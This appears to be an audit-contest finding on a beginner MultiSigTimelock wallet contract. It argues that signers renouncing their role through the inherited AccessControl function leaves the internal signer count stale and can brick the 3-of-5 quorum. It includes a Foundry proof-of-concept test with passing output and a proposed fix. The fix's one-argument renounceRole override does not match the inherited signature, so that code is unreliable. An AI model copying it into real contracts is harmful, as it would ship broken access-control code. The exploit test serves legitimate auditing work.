MultiSig Timelock
First Flight #55
Beginner FriendlyWallet
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Role Renunciation Quorum Bypass

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: The contract maintains a maximum of 5 signers tracked via s_signerCount, s_signers[5], and s_isSigner mapping. Owner uses grantSigningRole()/revokeSigningRole() to manage membership with checks preventing the last signer removal. All signer actions (confirm/execute) use onlyRole(SIGNING_ROLE) modifier.

  • The issue: AccessControl's renounceRole() bypasses custom tracking entirely. Signers lose the role (breaking onlyRole checks) but internal state (s_signerCount=5) remains unchanged, desynchronizing AccessControl membership from custom signer tracking and enabling permanent quorum failure.

// MultiSigTimelock.sol @> MISSING OVERRIDE - inherits AccessControl.renounceRole() @>
pragma solidity 0.8.19;
import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";
​
contract MultiSigTimelock is Ownable, AccessControl, ReentrancyGuard {
// @> NO OVERRIDE of renounceRole(bytes32) - signers can call inherited version @>
bytes32 private constant SIGNING_ROLE = keccak256("SIGNING_ROLE");
// L178-206 @> CUSTOM revokeSigningRole() maintains s_signerCount/s_signers consistency @>
function revokeSigningRole(address account) external nonReentrant onlyOwner {
// ... checks s_signerCount > 1, updates s_signers array, s_signerCount--, s_isSigner[account]=false
}
// L230 @> All signer actions protected by onlyRole(SIGNING_ROLE) @>
modifier onlyRole(bytes32 role) {
_checkRole(role);
_;
}
}
​

Risk

Likelihood:

  • Occurs when any 3 of 5 signers call renounceRole(SIGNING_ROLE) directly

  • Signers have legitimate onlyRole(SIGNING_ROLE) access to call this inherited function

Impact:

  • Wallet permanently bricked - new transactions cannot reach 3/5 quorum with only 2 functional signers remaining

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {MultiSigTimelock} from "src/MultiSigTimelock.sol";
​
contract RoleRenunciationQuorumBypassTest is Test {
MultiSigTimelock multiSigTimelock;
address owner = makeAddr("owner");
address signerA = makeAddr("signerA");
address signerB = makeAddr("signerB");
address signerC = makeAddr("signerC");
address signerD = makeAddr("signerD");
address signerE = makeAddr("signerE");
​
function setUp() public {
vm.prank(owner);
multiSigTimelock = new MultiSigTimelock();
// Grant signing roles to reach 5 signers total (owner + 4 new signers)
vm.prank(owner);
multiSigTimelock.grantSigningRole(signerA);
vm.prank(owner);
multiSigTimelock.grantSigningRole(signerB);
vm.prank(owner);
multiSigTimelock.grantSigningRole(signerC);
vm.prank(owner);
multiSigTimelock.grantSigningRole(signerD);
// Note: signerE is not added to stay within MAX_SIGNER_COUNT = 5
}
​
function testRoleRenunciationBricksQuorum() public {
bytes32 signingRole = multiSigTimelock.getSigningRole();
​
// ================= BEFORE ATTACK =================
// Verify: 5 signers active, all have SIGNING_ROLE
assertEq(multiSigTimelock.getSignerCount(), 5, "BEFORE: Should have 5 signers");
assertTrue(multiSigTimelock.hasRole(signingRole, owner), "BEFORE: Owner has role");
assertTrue(multiSigTimelock.hasRole(signingRole, signerA), "BEFORE: SignerA has role");
assertTrue(multiSigTimelock.hasRole(signingRole, signerB), "BEFORE: SignerB has role");
assertTrue(multiSigTimelock.hasRole(signingRole, signerC), "BEFORE: SignerC has role");
assertTrue(multiSigTimelock.hasRole(signingRole, signerD), "BEFORE: SignerD has role");
console2.log("BEFORE: Wallet functional - 5 signers with SIGNING_ROLE");
​
// ================= ATTACK: 3 signers renounce via AccessControl =================
vm.prank(signerA);
multiSigTimelock.renounceRole(signingRole, signerA);
vm.prank(signerB);
multiSigTimelock.renounceRole(signingRole, signerB);
vm.prank(signerC);
multiSigTimelock.renounceRole(signingRole, signerC);
​
// ================= AFTER ATTACK =================
// CRITICAL STATE DESYNC:
// 1. s_signerCount still shows 5 (custom tracking unchanged)
assertEq(multiSigTimelock.getSignerCount(), 5, "AFTER: s_signerCount still shows 5");
// 2. Actual SIGNING_ROLE holders: only owner + D = 2 remaining (below quorum!)
assertTrue(multiSigTimelock.hasRole(signingRole, owner), "AFTER: Owner still has role");
assertFalse(multiSigTimelock.hasRole(signingRole, signerA), "AFTER: SignerA lost role");
assertFalse(multiSigTimelock.hasRole(signingRole, signerB), "AFTER: SignerB lost role");
assertFalse(multiSigTimelock.hasRole(signingRole, signerC), "AFTER: SignerC lost role");
assertTrue(multiSigTimelock.hasRole(signingRole, signerD), "AFTER: SignerD still has role");
// 3. WALLET BRICKED: Only 2 signers remain, cannot reach 3 confirmations
vm.deal(owner, 1 ether);
vm.prank(owner);
uint256 txnId = multiSigTimelock.proposeTransaction(signerD, 0.1 ether, "");
​
// Only 2 remaining signers can confirm - cannot reach REQUIRED_CONFIRMATIONS = 3
vm.prank(owner);
multiSigTimelock.confirmTransaction(txnId); // 1/3
vm.prank(signerD);
multiSigTimelock.confirmTransaction(txnId); // 2/3
​
// No more signers left to reach 3 confirmations
vm.prank(signerA);
vm.expectRevert(); // MultiSigTimelockNotASigner
multiSigTimelock.confirmTransaction(txnId);
​
console2.log("AFTER: Wallet BRICKED - only 2 signers remain, cannot reach required 3 confirmations");
console2.log(" Existing txs with prior confirmations may still execute, but new txs are permanently blocked");
}
}
​
​

Result:

forge test --match-test testRoleRenunciationBricksQuorum -vvv
[⠆] Compiling...
No files changed, compilation skipped
​
Ran 1 test for test/testRoleRenunciationBricksQuorum.sol:RoleRenunciationQuorumBypassTest
[PASS] testRoleRenunciationBricksQuorum() (gas: 260611)
Logs:
BEFORE: Wallet functional - 5 signers with SIGNING_ROLE
AFTER: Wallet BRICKED - only 2 signers remain, cannot reach required 3 confirmations
Existing txs with prior confirmations may still execute, but new txs are permanently blocked
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 820.82µs (206.86µs CPU time)
​
Ran 1 test suite in 6.69ms (820.82µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
​

Recommended Mitigation

Forces renounceRole(SIGNING_ROLE) to follow same protections as revokeSigningRole() - maintains state consistency.

​
// - remove this code (unnecessary - AccessControl.renounceRole() already exists)
// + add this code
function renounceRole(bytes32 role) public override(AccessControl) {
if (role == SIGNING_ROLE) {
if (s_signerCount <= 1) {
revert MultiSigTimelockCannotRevokeLastSigner();
}
// Sync custom tracking BEFORE role removal (matches revokeSigningRole logic)
s_isSigner[msg.sender] = false;
s_signerCount--;
// Swap-and-pop from s_signers array
for (uint256 i = 0; i < s_signerCount; i++) {
if (s_signers[i] == msg.sender) {
s_signers[i] = s_signers[s_signerCount];
s_signers[s_signerCount] = address(0);
break;
}
}
}
super.renounceRole(role);
}
​

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!